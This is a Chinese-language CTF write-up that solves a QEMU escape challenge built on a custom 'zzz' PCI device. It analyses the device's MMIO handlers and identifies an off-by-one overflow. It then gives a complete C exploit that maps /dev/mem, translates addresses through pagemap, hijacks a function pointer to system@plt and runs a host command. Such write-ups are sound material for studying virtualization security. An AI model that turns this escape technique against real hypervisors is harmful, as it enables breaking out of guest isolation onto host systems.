#! /bin/sh
#gdb --args \
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kalsr' \
-monitor /dev/null \
-m 64M --nographic \
-device zzz \
-L pc-bios
启动脚本
看起来设备叫zzz
去ida分析分析
但是问题来了
我们在本地类型中找不到zzz的结构体
所以我们需要自己分析这个结构体
0x19F0 0x19F8的地方是啥了
剩下的我们去他的两个mmio函数中去分析
zzz_mmio_read比较简单
读结构体里面的一块buf
而且我们能看得出来
buf在结构体的0x9F0的位置
且大小是0x1000
zzz_mmio_write
功能
0x10 对偏移是0x9EA的地方设值
0x18 对偏移是0x9E8的地方设值
0x20 对偏移是0x9E0的地方设值 且是val<<12
0x50 上面图中的v9是偏移,v10是长度 我们可以看的出来功能就是对buf中的内容进行异或。通过v9 v10来控制异或的地方和长度
0x60 v3就是结构体基地址。后续调用了偏移0x19F8处的函数,我们先研究一下函数是干嘛的。
不同函数当然是不同用途当然看名字就看得出来一个读一个写
这个函数还是比较常见的,cpu_physical_memory_rw(a1, a2, a3, 1);是将a2复制到a1,而cpu_physical_memory_rw(a1, a2, a3, 0);则将a1复制到a2
但是要注意的是,cpu_physical_memory_rw的第一个参数为硬件地址,即物理地址,所以我们需要将qemu里面的虚拟地址,转化为物理地址。
所以0x60就是来对偏移0x9E0的buf指针指向的buf进行读写。
就写在下面偏移0x9F0的buf中。
漏洞在哪?
在0x60的功能中,有一个检查,(signed int)(offset + len – 1) <= 0x1000,因为buf只有0x1000的长度,而这里可以写到第0x1001的地方,就是能改变后一个字节。
后一个地址放着的是这个结构体的地址,我们如果能改变它,就可以把整个结构体劫持到可控的第二个buf中,然后劫持结构体。
那么我们总体的思路是啥
1、溢出一个字节,把结构体整体下移,泄露出结构体地址与程序及地址
2、因为泄露完之后我们后续的功能不能再控制我们的len跟offset,所以只能通过那个加密函数,也就是异或,来控制len offset
3、异或好以后再控制进行读写,劫持函数为system_plt,顺便再次对结构体进行合适的调整
4、最后getshell
要注意的是我们设置那个src的时候它最多设置四个字节,具体为啥我也不知,所以做出一些合适的调整就好了。
exp
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
//cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource0
uint32_t mmio_addr = 0xfea00000;
uint32_t mmio_size = 0x100000;
uint64_t phy_userbuf;
unsigned char* userbuf;
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void* mem_map( const char* dev, size_t offset, size_t size )
{
int fd = open( dev, O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
if ( !result ) {
return 0;
}
close( fd );
return result;
}
uint8_t mmio_read(uint64_t addr)
{
return *((uint8_t*) (mmio_mem+addr));
}
void mmio_write(uint64_t addr, uint64_t value)
{
*( (uint64_t *) (mmio_mem+addr) ) = value;
}
//
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT) //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
die("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
/
void set_src(uint64_t addr){
mmio_write(0x20, addr);
}
void set_len(uint64_t num){
mmio_write(0x18, num);
}
void set_off(uint64_t offset){
mmio_write(0x10, offset);
}
void set_write(uint64_t offset, uint64_t num){
set_src(phy_userbuf>>12);
set_len(num);
set_off(offset);
mmio_write(0x60, 0x0);
}
void set_enc(uint64_t offset, uint64_t num){
set_off(offset);
set_len(num);
mmio_write(0x50, 0x0);
sleep(1);
}
int main(int argc, char *argv[])
{
system( "mknod -m 660 /dev/mem c 1 1" );
mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
if ( !mmio_mem ) {
die("mmap mmio failed");
}
userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED) {
die("mmap userbuf failed");
}
mlock(userbuf, 0x1000);
phy_userbuf = gva_to_gpa(userbuf);
printf("userbuf va: 0x%llx\n", userbuf);
printf("userbuf pa: 0x%llx\n", phy_userbuf);
//char *payload="cat /root/flag\x00";
char *payload = "gnome-terminal";
memcpy(userbuf + 0x1d0, payload, strlen(payload));
*(uint64_t*)(userbuf+0x00) = phy_userbuf;
*(uint16_t*)(userbuf+0x08)=0xf;
*(uint16_t*)(userbuf+0x0a)=0x1000 - 0x10;
set_write(0x00, 0x200);
*(uint8_t *)userbuf = 0x00;
*(uint8_t *)(userbuf + 1) = 0x50;
set_write(0xfff, 0x2);
mmio_write(0x60,0);
uint64_t rw_addr = *(uint64_t *)userbuf;
uint64_t base_addr = *(uint64_t *)(userbuf+8) - 0x5bc5c0;
uint64_t system_plt = base_addr + 0x2a7a80;
uint64_t payload_addr = rw_addr + 0xbb0;
printf("rw_addr: 0x%llx\n", rw_addr);
printf("base_addr: 0x%llx\n", base_addr);
printf("system_plt: 0x%llx\n", system_plt);
printf("payload_addr: 0x%llx\n", payload_addr);
set_enc(0x00, 0x16);
set_enc(0x00, 0x10);
*(uint64_t *)(userbuf + 0x7 + 0x100) = payload_addr;
*(uint64_t *)(userbuf + 0x7 + 0x1f0) = payload_addr - 0x9e0 + 0xd40;
*(uint64_t *)(userbuf + 0x8 + 0x7 + 0x1f0) = system_plt;
mmio_write(0x60,0);
//getchar();
mmio_write(0x60,0);
return 0;
}
PS:要特别说点调试方法
我们在这道题目里面需要申请一个userbuf,让他来跟我们的buf做读写。
在我们调试的时候,想看看申请的userbuf,拿到那个phy_userbuf
做调试
首先看一下启动脚本
它是指定RAM大小
64M是0x4000000
我们得到的phy_userbuf是对这个块的偏移
所以我们据这个大小来找到它。
于是我们就找到了它
然后还可以搜一下
中间因为点原因重起了一下,地址不大一样,但是效果是一样的
那个heap那个一看就是
也可以找到他
另外那个应该是opacode那个结构体。